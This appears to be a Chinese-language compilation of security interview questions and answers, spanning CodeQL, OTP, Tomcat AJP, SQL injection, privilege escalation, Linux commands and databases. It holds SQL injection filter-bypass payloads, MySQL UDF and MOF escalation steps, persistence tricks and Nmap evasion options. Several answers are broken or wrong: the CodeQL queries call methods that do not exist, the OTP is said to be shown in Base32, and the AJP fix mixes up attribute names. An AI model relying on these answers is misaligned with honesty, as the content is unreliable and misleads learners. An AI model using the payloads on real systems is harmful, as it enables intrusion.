CodeQL是一种静态代码分析工具,它通过分析编译后的代码(如Java字节码、C++的二进制文件)来检测代码中的安全漏洞。然而,CodeQL也可以直接分析源代码,无需编译。例如,对于Python、JavaScript等解释型语言,CodeQL可以直接分析源代码文件,无需编译。
5. 了解哪些类型的漏洞,如何用CodeQL检测
常见漏洞类型:
- SQL注入:攻击者通过在SQL查询中注入恶意代码来操纵数据库。
- 跨站脚本(XSS):攻击者在网页中注入恶意脚本,当其他用户访问该网页时,脚本被执行。
- 缓冲区溢出:攻击者通过发送超出缓冲区大小的数据来覆盖内存,从而执行任意代码。
- 命令注入:攻击者通过注入恶意命令来操纵系统命令。
使用CodeQL检测漏洞:
- SQL注入:CodeQL可以通过分析代码中的SQL查询构造过程,检测是否存在用户输入直接拼接到SQL语句中的情况。例如,以下CodeQL查询可以检测Java中的SQL注入漏洞:
1
2
3
4
5
6
7
8import java
from String sql, MethodCall mc
where
mc.getCallee().getName().matches("executeQuery|executeUpdate") and
mc.getArgument(0).getValue().toString().contains(sql) and
sql.hasTaintSource()
select mc, "Potential SQL injection vulnerability." - XSS:CodeQL可以分析Web应用程序中的用户输入处理过程,检测是否存在用户输入直接输出到HTML页面的情况。例如,以下CodeQL查询可以检测JavaScript中的XSS漏洞:
1
2
3
4
5
6
7
8import javascript
from FunctionCall fc, StringLiteral s
where
fc.getCallee().getName() = "innerHTML" and
fc.getArgument(1).getValue().toString().contains(s) and
s.hasTaintSource()
select fc, "Potential XSS vulnerability." - 缓冲区溢出:CodeQL可以分析C/C++代码中的内存操作函数(如
strcpy
、sprintf
)的使用情况,检测是否存在缓冲区溢出的风险。例如,以下CodeQL查询可以检测C中的缓冲区溢出漏洞:1
2
3
4
5
6
7
8import cpp
from FunctionCall fc, Function f
where
f.getName() = "strcpy" and
fc.getCallee() = f and
not fc.getArgument(1).hasDefinedSize()
select fc, "Potential buffer overflow vulnerability." - 命令注入:CodeQL可以分析代码中的系统命令执行函数(如
system
、exec
)的使用情况,检测是否存在用户输入直接拼接到命令中的情况。例如,以下CodeQL查询可以检测Python中的命令注入漏洞:1
2
3
4
5
6
7
8import python
from FunctionCall fc, StringLiteral s
where
fc.getCallee().getName() = "os.system" and
fc.getArgument(0).getValue().toString().contains(s) and
s.hasTaintSource()
select fc, "Potential command injection vulnerability."
1. 中行的电子口令卡,上面显示的字符每一分钟变换一次。问实现方法。
中行的电子口令卡是一种动态口令卡,其显示的字符每分钟变换一次。这种动态口令卡的实现方法基于时间同步的加密算法。具体来说,动态口令卡内部存储了一个唯一的种子密钥,并且按照一定的时间间隔(如每分钟)生成一个动态口令。生成动态口令的过程通常使用HMAC-SHA1或HMAC-SHA256等加密算法,结合当前的时间戳和种子密钥进行计算。例如,假设当前时间戳为T,种子密钥为K,则动态口令的计算公式可以表示为:
[ \text{OTP} = \text{HMAC-SHA1}(K, T) ]
生成的OTP(One-Time Password)是一个固定长度的字符串,通常经过Base32编码后显示在电子口令卡的屏幕上。服务器端也按照相同的算法和时间戳生成动态口令,并与用户提供的口令进行比对验证。
3. 对待一个问题怎么去思考?
面对一个问题,可以按照以下步骤进行思考:
- 问题分解:将复杂的问题分解为多个子问题,逐一分析。
- 假设与检验:提出可能的解决方案或假设,并通过实验或逻辑推理进行验证。
- 类比与联想:将当前问题与已知的类似问题进行比较,借鉴已有的解决思路。
- 全局与局部思考:从整体上把握问题的背景和影响,同时深入分析问题的细节。
- 换角度思考:从不同的角度审视问题,寻找新的解决途径。
- 归纳与演绎:通过观察具体实例归纳出一般规律,再运用一般规律演绎出具体解决方案。
5. PKI的架构
PKI(Public Key Infrastructure)是一种基于公钥加密技术的安全架构,用于管理数字证书和公钥。典型的PKI架构包括以下组件:
- 证书颁发机构(CA):负责签发和管理数字证书。
- 注册机构(RA):负责用户身份的验证和注册。
- 证书库(Certificate Repository):存储已颁发的数字证书,供用户查询和验证。
- 证书吊销列表(CRL):记录已被吊销的证书列表,确保用户能够及时了解证书的有效性。
10. DMZ的作用以及位置
DMZ(Demilitarized Zone)是一种网络架构,用于将对外提供服务的服务器与内部网络隔离,以增强网络安全性。DMZ的主要作用包括:
- 隔离内部网络:将对外提供服务的服务器(如Web服务器、邮件服务器)放置在DMZ中,防止外部攻击直接访问内部网络。
- 集中安全管理:在DMZ和内部网络之间部署防火墙,集中管理安全策略。
DMZ通常位于内部网络和外部网络(如Internet)之间,形成一个中间区域。在这个区域中,可以部署各种服务器,同时通过防火墙等设备对进出DMZ的流量进行严格控制。
最新爆出的Tomcat AJP协议漏洞
漏洞描述:
Tomcat AJP协议漏洞(CVE-2020-1938)是由于Tomcat在处理AJP请求时,未对请求做任何验证,通过设置AJP连接器封装的request对象的属性,导致产生了任意文件读取漏洞和代码执行漏洞。攻击者可以利用该漏洞读取Tomcat服务器上webapp目录下的任意文件,如果目标服务器同时存在文件上传功能,攻击者可进一步通过文件包含,上传恶意文件(如图片马),从而获取服务器的控制权。
影响范围:
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
漏洞原理:
Tomcat配置了两个Connector,分别是HTTP和AJP。HTTP默认端口为8080,处理HTTP请求,而AJP默认端口为8009,用于处理AJP协议的请求。AJP协议比HTTP更加优化,多用于反向代理和集群等场景。漏洞是由于Tomcat AJP协议存在缺陷,攻击者可以通过构造特定参数,读取服务器webapp下的任意文件,甚至包含任意文件。
修复建议:
- 升级Tomcat版本:将Tomcat升级到9.0.31、8.5.51或7.0.100版本进行漏洞修复。
- 禁用AJP协议端口:在conf/server.xml配置文件中注释掉AJP Connector的配置行:
1
<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->
- 配置AJP认证:为AJP Connector配置secretRequired和secret属性,设置AJP协议的认证凭证。例如:其中,
1
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />
YOUR_TOMCAT_IP_ADDRESS
和YOUR_TOMCAT_AJP_SECRET
需要替换为实际的IP地址和高安全性密钥。
渗透测试过程中如果被ban IP怎么办?
在渗透测试过程中,如果被ban IP,除了换代理IP外,还可以采取以下措施:
- 调整请求频率:降低请求频率,避免触发目标系统的防护机制。
- 使用VPN或代理:使用不同的VPN或代理IP,避免使用单一IP进行大量请求。
- 修改请求特征:修改请求头中的User-Agent、Referer等字段,模拟不同的浏览器和设备特征。
- 分时请求:将请求分散在不同的时间段,避免短时间内大量请求。
- 使用合法的测试环境:在合法的测试环境中进行渗透测试,避免在生产环境中进行可能导致IP被ban的操作。
SQL注入单引号被过滤了怎么绕过
当单引号被过滤时,可以通过以下方法绕过:
- 注释符绕过:使用注释符来闭合单引号。例如:这里的
1
id=1' --+
--
是单行注释符,可以闭合前面的单引号。 - 双引号绕过:如果允许使用双引号,可以用双引号代替单引号。例如:
1
id="1"
- URL编码绕过:将单引号进行URL编码,例如将
'
编码为%27
。 - 十六进制编码绕过:将字符串转换为十六进制表示。例如:这表示
1
id=0x3127
1'
的十六进制编码。 - 大小写混合绕过:利用MySQL对大小写不敏感的特点,混合使用大小写来绕过过滤。例如:
1
id=1' AnD 1=1
- 逻辑运算符绕过:使用
||
代替OR
,使用&&
代替AND
。例如:1
id=1' || 1=1
passwd与shadow文件的关系
在Linux系统中,/etc/passwd
和/etc/shadow
文件共同管理用户账户信息:
- **
/etc/passwd
**:存储用户的基本信息,包括用户名、用户ID、组ID、用户描述、主目录和登录shell。其中,密码字段在现代系统中通常被标记为x
,表示密码存储在/etc/shadow
中。 - **
/etc/shadow
**:存储用户的加密密码、密码过期时间、密码更改间隔等敏感信息。只有具有适当权限的用户(如root)才能访问此文件。
两者的关系是:/etc/passwd
中的密码字段指向/etc/shadow
,后者实际存储密码信息。
Linux怎样从文件选取包含特定字符的行,并替换相关字符
可以使用grep
和sed
命令来实现:
选取包含特定字符的行:
1
grep "特定字符" 文件名
例如,选取包含字符
abc
的行:1
grep "abc" filename
替换相关字符:
1
sed "s/旧字符/新字符/g" 文件名
例如,将文件中所有的
abc
替换为def
:1
sed "s/abc/def/g" filename
结合使用:
1
grep "abc" filename | sed "s/abc/def/g"
VRRP协议的原理及实现
原理:
VRRP(Virtual Router Redundancy Protocol)是一种用于提高网络可靠性的冗余协议。它通过创建一个虚拟路由器,将多台物理路由器组合成一个虚拟路由器组。在组内,一台路由器担任主路由器(Master),其他路由器作为备份路由器(Backup)。当主路由器发生故障时,备份路由器会接管虚拟路由器的角色,确保网络的连续性。
实现:
- 配置虚拟路由器:在多台路由器上配置相同的虚拟路由器ID和虚拟IP地址。
- 优先级设置:为主路由器设置较高的优先级,备份路由器设置较低的优先级。
- 故障转移:当主路由器发生故障时,备份路由器通过选举机制成为新的主路由器。
SQL注入的那些防御措施是绝对安全的么?
没有防御措施是绝对安全的,但可以通过以下方法最大限度地减少SQL注入的风险:
- 使用参数化查询:通过参数化查询确保用户输入与SQL代码分离。
- 输入验证:对用户输入进行严格的验证和过滤。
- 最小权限原则:为数据库用户分配最小必要的权限。
- 定期更新和修补:及时更新数据库和应用程序,修复已知漏洞。
- 使用Web应用防火墙(WAF):WAF可以检测和阻止常见的SQL注入攻击。
Nmap扫描原理,Nmap扫描中的一些细节,针对什么情况使用哪种扫描
原理:
Nmap通过发送各种类型的网络数据包来探测目标主机和端口的状态。常见的扫描类型包括:
- TCP SYN扫描:发送SYN数据包,适用于快速扫描开放端口。
- TCP Connect扫描:使用系统调用
connect
来探测端口。 - UDP扫描:发送UDP数据包,适用于发现UDP服务。
- 版本检测扫描:探测服务的版本信息。
- 操作系统检测扫描:通过分析响应数据包推测目标操作系统。
细节:
- 端口状态:端口可能处于
open
(开放)、closed
(关闭)、filtered
(被过滤)等状态。 - 扫描速度:可以通过
-T
选项调整扫描速度。 - 规避检测:使用
-f
选项进行分片扫描,或使用--source-port
指定源端口。
针对情况:
- 快速扫描:使用
-sS
进行TCP SYN扫描。 - 全面扫描:结合多种扫描类型,如
-sV
进行版本检测。 - 规避防火墙:使用分片扫描或随机化扫描顺序。
如何对外使用nmap扫描,遇到***的情况又该怎么办
遇到*的情况**:
- 被ban IP:可以尝试使用代理IP、VPN或调整扫描频率来避免被ban。
- 防火墙限制:使用Nmap的规避检测功能,如分片扫描或随机化扫描。
网络层的常见攻击方式,IP欺骗,第三方拦截
网络层常见攻击方式:
- IP欺骗:攻击者伪造IP地址,使数据包看起来来自可信源。防范措施包括使用IPsec进行数据包验证。
- 第三方拦截:攻击者通过中间人攻击截取和篡改数据包。防范措施包括使用加密协议(如SSL/TLS)和虚拟专用网络(VPN)。
- 拒绝服务攻击(DoS/DDoS):通过大量流量使目标系统瘫痪。防范措施包括使用防火墙和流量清洗服务。
ASP与PHP网站的区别
ASP:
- 开发环境:通常与Microsoft的IIS服务器和.NET框架结合使用。
- 语法:使用VBScript或JScript等脚本语言。
- 数据库连接:常用ADO(ActiveX Data Objects)进行数据库操作。
- 安全性:默认情况下可能提供更严格的安全性配置。
PHP:
- 开发环境:跨平台,可在Apache、Nginx等多种Web服务器上运行。
- 语法:C风格的语法,与Perl、Java等语言相似。
- 数据库连接:提供多种数据库扩展,如MySQLi、PDO等。
- 安全性:需要开发者自行配置安全性措施。
什么叫DMA
DMA(Direct Memory Access)是一种硬件机制,允许某些硬件子系统直接与系统内存进行数据交换,而无需CPU的干预。这可以提高数据传输的效率,减轻CPU的负担。
获取网站绝对路径的四种方式
- 服务器错误信息:服务器返回的错误信息可能包含绝对路径。
- PHP函数:如
__FILE__
、dirname(__FILE__)
等。 - Webshell:通过上传Webshell获取服务器信息。
如何防止SQL注入,具体的函数
在PHP中,可以使用mysqli_real_escape_string()
函数对用户输入进行转义。此外,使用参数化查询也是防止SQL注入的有效方法。
SQLmap中-T知道什么意思吗?
在SQLmap中,-T
参数用于指定要测试的数据库表名。
Python列表推导
列表推导是一种简洁的创建列表的方法。例如:
1 | squares = [x**2 for x in range(10)] |
判断某个类是否有某种属性
可以使用hasattr()
函数。例如:
1 | class MyClass: |
init 和 new
__new__
:是类的构造方法,用于创建类的实例。__init__
:是类的初始化方法,用于初始化类的实例。
装饰器应用场景
装饰器用于在不修改函数本身的情况下,增加函数的功能。例如,日志记录、权限验证等。
静态方法 staticmethod
静态方法是属于类的方法,但不需要访问类的特定实例。可以使用@staticmethod
装饰器定义。例如:
1 | class MyClass: |
已知某端口,查看占用它的进程号
可以使用netstat
命令。例如:
1 | netstat -tulnp | grep :80 |
已知某个 a.py 进程跑着,查看其端口
可以使用lsof
命令。例如:
1 | lsof -i :80 | grep a.py |
杀死机器所有 python 进程、
可以使用pkill
命令。例如:
1 | pkill -f python |
MongoDB 和 MySQL
MongoDB:
- 数据模型:MongoDB 是一个文档型数据库,使用 BSON(Binary JSON)格式存储数据。数据以文档的形式组织,文档可以嵌套,支持复杂的数据结构。
- schema灵活性:MongoDB 的 schema 是动态的,可以在插入数据时定义字段,无需预先定义表结构。
- 扩展性:MongoDB 支持水平扩展,通过分片(sharding)可以将数据分布在多个服务器上,适合处理大规模数据。
MySQL:
- 数据模型:MySQL 是一个关系型数据库,数据以表格的形式存储,表与表之间通过关系连接。
- schema定义:MySQL 的 schema 是静态的,需要预先定义表结构和字段类型。
- 扩展性:MySQL 支持垂直扩展,通过增加服务器的硬件资源来提升性能,也支持主从复制等高可用方案。
INNER JOIN, LEFT JOIN, RIGHT JOIN
- INNER JOIN:返回两个表中匹配的行。语法:
SELECT columns FROM table1 INNER JOIN table2 ON table1.column = table2.column;
- LEFT JOIN:返回左表中的所有行,以及右表中匹配的行。如果右表中没有匹配的行,则返回 NULL。语法:
SELECT columns FROM table1 LEFT JOIN table2 ON table1.column = table2.column;
- RIGHT JOIN:返回右表中的所有行,以及左表中匹配的行。如果左表中没有匹配的行,则返回 NULL。语法:
SELECT columns FROM table1 RIGHT JOIN table2 ON table1.column = table2.column;
子查询
子查询是指在一个查询语句内部嵌套另一个查询语句。例如:
1 | SELECT * FROM table1 WHERE column1 IN (SELECT column2 FROM table2 WHERE condition); |
IP 地址出现次数的统计
假设有一个表 ip_logs
,其中包含 ip_address
字段,要统计每个 IP 地址出现的次数并按降序排列:
1 | SELECT ip_address, COUNT(*) AS occurrence |
工厂模式
工厂模式是一种创建型设计模式,用于创建对象而不暴露创建逻辑。工厂模式的核心是定义一个创建对象的接口,由子类决定实例化哪一个类。例如:
1 | public interface Shape { |
Java 如何保证线程安全
Java 中保证线程安全的方法包括:
- 同步机制:使用
synchronized
关键字或ReentrantLock
等显式锁。 - 不可变对象:创建不可变对象,确保对象的状态不会被修改。
- 线程安全的类:使用线程安全的集合类,如
ConcurrentHashMap
。
CPU 占用过高但结果返回很慢的原因及解决
- 原因:可能是由于算法效率低、死锁、资源竞争等问题导致 CPU 占用高但响应慢。
- 解决:优化算法、检查并解决死锁问题、合理管理资源。
内存占用过高的原因及解决
- 原因:可能是内存泄漏、大对象分配、频繁的垃圾回收等问题。
- 解决:使用内存分析工具查找内存泄漏、优化对象的创建和销毁、调整 JVM 参数。
线程池线程数量的设置
线程池的线程数量应根据任务的性质和系统的资源来设置。对于 CPU 密集型任务,线程数量可以设置为 CPU 核心数加一;对于 I/O 密集型任务,可以设置更多的线程。线程过多可能导致资源耗尽和上下文切换开销,线程过少可能导致任务排队等待时间过长。
云AK/SK相关的利用和防御
利用:
- 存储桶接管:使用工具如OSS Browser或行云管家,通过AK/SK登录云存储服务,接管存储桶,进行查看、上传、编辑、删除等操作。
- 命令执行:利用AK/SK通过云管理平台或工具(如CF框架)对云主机进行命令执行。
- 资源访问:使用AK/SK访问和操作云上的其他资源,如数据库、服务器等。
防御:
- 定期更换AK/SK:降低长期使用同一组AK/SK导致泄露的风险。
- 最小权限原则:为不同业务分配不同子账户的AK/SK,限制权限。
- 多因素认证:开启主账号多因素认证,降低因密码泄漏导致的未授权访问。
- 安全存储:将AK/SK存储在安全的密钥管理系统中,避免嵌入代码或配置文件。
在只有任意文件读取的情况下有什么利用方式
- 读取敏感文件:读取如
/etc/passwd
、/etc/shadow
等文件获取系统用户信息。 - 获取配置信息:读取配置文件获取数据库连接信息、API密钥等敏感数据。
- 内网信息收集:读取网络配置文件获取内网结构和IP地址段。
- 发现其他漏洞:通过读取日志文件等发现其他潜在的安全漏洞。
怎么找开了什么服务(/proc/pid/cmdline
)
通过读取/proc
目录下的文件可以获取系统中运行的进程和服务信息。例如,/proc/pid/cmdline
文件包含了进程启动时的命令行参数,通过读取该文件可以了解某个进程启动了哪些服务。
怎么找配置文件
- 常见路径:检查常见的配置文件路径,如
/etc/
目录下的文件。 - 文件搜索命令:使用
find
或locate
命令搜索包含特定关键词的配置文件。 - 服务相关路径:根据运行的服务查找对应的配置文件路径。
Linux开机自启动文件/etc/rc.d/rc.local
、/etc/init.d
这些文件用于配置系统开机时自动启动的程序和服务。攻击者可以修改这些文件,添加恶意程序或后门,以实现持久化攻击。
SSO相关的攻击方式
- 令牌窃取:窃取用户的SSO令牌,冒充用户进行认证。
- 钓鱼攻击:通过伪造的SSO登录页面获取用户的凭证。
- 中间人攻击:在SSO认证过程中拦截和篡改认证信息。
怎么绕过动态token
- 令牌预测:如果动态token的生成算法存在漏洞,攻击者可能预测下一个token。
- 重放攻击:截获token并在有效期内重复使用。
- 漏洞利用:利用系统对token验证的漏洞,如不严格的签名验证。
怎么绕过双因子认证
- 社会工程学:诱骗用户透露双因子认证信息。
- 中间人攻击:拦截双因子认证过程中传输的信息。
- 设备感染:在用户的设备上安装恶意软件,截获认证信息。
域环境怎么打
- 权限提升:利用域环境中的漏洞获取更高权限。
- 横向移动:在域内不同系统间移动,扩大攻击范围。
- 信任关系利用:利用域间的信任关系进行攻击。
IIS文件解析漏洞
- 路径截断:通过特定的路径请求,使IIS错误解析文件类型。
- 扩展名利用:利用IIS对文件扩展名解析的漏洞,执行恶意脚本。
- 配置错误:利用IIS配置错误,访问未授权的资源。
Redis攻击方式
- 未授权访问:如果Redis实例没有设置密码,攻击者可以直接连接并操作。
- 弱密码攻击:通过暴力破解等方式获取Redis的访问密码。
- 命令注入:在Redis命令执行过程中注入恶意命令。
Redis主从复制条件
- 网络连通性:主从Redis实例之间需要能够进行网络通信。
- 配置正确:从服务器需要正确配置主服务器的IP地址和端口。
- 权限设置:从服务器需要有权限连接到主服务器并进行数据同步。
JWT攻击方式
- 密钥泄露:如果用于签名JWT的密钥泄露,攻击者可以伪造JWT。
- 算法混淆:利用JWT算法的漏洞或不正确配置,如将HS256改为none。
- 中间人攻击:在传输过程中截获JWT并篡改。
栈溢出原理
栈溢出是一种缓冲区溢出类型,发生在程序使用栈来存储局部变量时。当输入的数据超过为变量分配的栈空间时,额外的数据会覆盖栈中的其他信息,如返回地址。攻击者可以利用这一点,将返回地址替换为恶意代码的地址,从而控制程序的执行流程。
栈溢出保护机制
- 栈保护:编译器可以添加保护字节(如
-fstack-protector
),在栈中设置一个“金丝雀”值,溢出时会被覆盖,从而检测到溢出。 - NX位:设置内存区域为不可执行,防止在栈中执行恶意代码。
- ASLR:地址空间布局随机化,使得攻击者难以预测返回地址的位置。
UDF 提权
实现方法:
UDF(User Defined Function)提权是一种利用MySQL的自定义函数功能来提升权限的技术。攻击者通过编写并加载恶意的UDF文件,可以在MySQL服务器上执行任意系统命令,从而提升权限。
- 编写UDF文件:编写一个恶意的UDF函数,例如
sys_exec
,该函数能够执行系统命令。 - 编译UDF文件:将编写好的UDF文件编译为共享库文件(如
.so
或.dll
)。 - 上传UDF文件:将编译好的共享库文件上传到MySQL服务器的插件目录(如
/usr/lib/mysql/plugin
或C:\Program Files\MySQL\MySQL Server 8.0\lib\plugin
)。 - 注册UDF:在MySQL中注册该UDF,通过执行
CREATE FUNCTION
语句。 - 执行命令:通过调用注册的UDF函数执行系统命令。
示例:
1 | CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'sys_exec.so'; |
UDF提权写入时乱码怎么办:
如果在写入UDF文件时出现乱码,可能是由于编码问题。可以尝试以下方法解决:
- 确保文件的编码格式正确,通常使用UTF-8编码。
- 在上传文件时,确保使用正确的编码方式,例如使用
LOAD DATA INFILE
或SELECT ... INTO DUMPFILE
时,确保文件内容的编码正确。
UDF需要什么条件:
- MySQL版本:MySQL版本大于5.1时,UDF文件必须放置在
lib/plugin
目录下;版本小于5.1时,文件需要放置在系统目录如/usr/lib
或C:\Windows\System32
。 - 权限:需要具有MySQL的
INSERT
和DELETE
权限,以及对插件目录的写入权限。 - secure_file_priv:
secure_file_priv
的值必须为空,或者允许写入到指定目录。
服务器启动项提权怎么做,有什么方法
方法:
- 利用计划任务:通过添加计划任务(如
cron
或at
)来执行恶意脚本或命令。 - 修改启动脚本:修改系统的启动脚本(如
/etc/rc.local
或/etc/init.d
)来执行恶意代码。 - 利用服务:创建或修改系统服务(如
systemd
服务)来执行恶意代码。
MOF 提权是怎么实现的
实现方法:
MOF(Managed Object Format)提权是通过修改WMI(Windows Management Instrumentation)的MOF文件来实现的。攻击者可以通过修改MOF文件来注入恶意代码,从而在系统启动时执行。
- 编写恶意MOF文件:编写一个恶意的MOF文件,其中包含执行恶意代码的指令。
- 上传MOF文件:将恶意MOF文件上传到系统的WMI存储目录(如
C:\Windows\System32\wbem\Repository
)。 - 触发执行:通过重启系统或重新启动WMI服务来触发恶意代码的执行。
Linux 怎么看日志,用哪些命令?
命令:
dmesg
:查看内核日志。journalctl
:查看系统日志(适用于使用systemd
的系统)。tail -f /var/log/syslog
:实时查看系统日志。tail -f /var/log/auth.log
:查看认证日志。tail -f /var/log/apache2/access.log
:查看Apache访问日志。
Crontab 定时任务知道吗
Crontab 是一个用于管理定时任务的工具,可以在指定的时间间隔自动执行任务。可以使用crontab -e
命令编辑定时任务,crontab -l
命令查看当前用户的定时任务。
58一个服务器遭受ARP欺骗,怎么排查?
排查步骤:
- 检查网络流量:使用工具如
tcpdump
或Wireshark
捕获和分析网络流量,查找异常的ARP数据包。 - 查看ARP缓存:使用
arp -a
命令查看系统的ARP缓存,检查是否存在异常的MAC地址绑定。 - 检查系统日志:查看系统日志(如
/var/log/syslog
)中是否有与ARP欺骗相关的记录。 - 使用安全工具:使用如
arpwatch
等工具监控ARP活动,检测异常行为。
怎么查看端口占用
在Linux系统中,可以使用lsof
和netstat
命令来查看端口占用情况。
lsof命令:
1
lsof -i :端口号
例如,查看8000端口的占用情况:
1
lsof -i :8000
netstat命令:
1
netstat -tunlp | grep 端口号
例如,查看8000端口的占用情况:
1
netstat -tunlp | grep 8000
在Windows系统中,可以使用netstat
和tasklist
命令来查看端口占用情况。
netstat命令:
1
netstat -ano | findstr 端口号
例如,查看1024端口的占用情况:
1
netstat -ano | findstr 1024
tasklist命令:
1
tasklist | findstr PID
例如,查看PID为808的进程:
1
tasklist | findstr 808
一张数据库表最多存多少条记录
对于Access数据库,单个表的记录数限制为2^32-1,即4294967295条记录。然而,由于Access数据库的大小限制为2GB,实际可存储的记录数通常在2000万条左右。
对于SQL Server,数据表的最大记录数取决于数据库的容量,理论上可以存储非常大的记录数,最大可达5,242,720,000,000,000条记录。
遇到子域名泛解析怎么办
子域名泛解析是一种DNS配置,允许将所有未明确解析的子域名解析到一个特定的IP地址。如果遇到子域名泛解析,可以采取以下措施:
- 利用泛解析进行信息收集:通过构造不同的子域名,尝试访问可能存在的服务或应用。
- 绕过泛解析限制:通过特定的DNS查询技术,如DNSSEC或DNS over HTTPS,绕过泛解析的限制。
- 结合其他漏洞利用:利用泛解析结合其他漏洞,如SQL注入、文件包含等,进行更深入的渗透。
内网渗透横向手段,135、445端口
在内网渗透中,135和445端口常用于横向移动:
- 135端口(RPC):用于远程过程调用,可以利用RPC漏洞进行权限提升和横向移动。
- 445端口(SMB):用于文件共享和打印服务,可以利用SMB漏洞进行文件读取、写入和命令执行。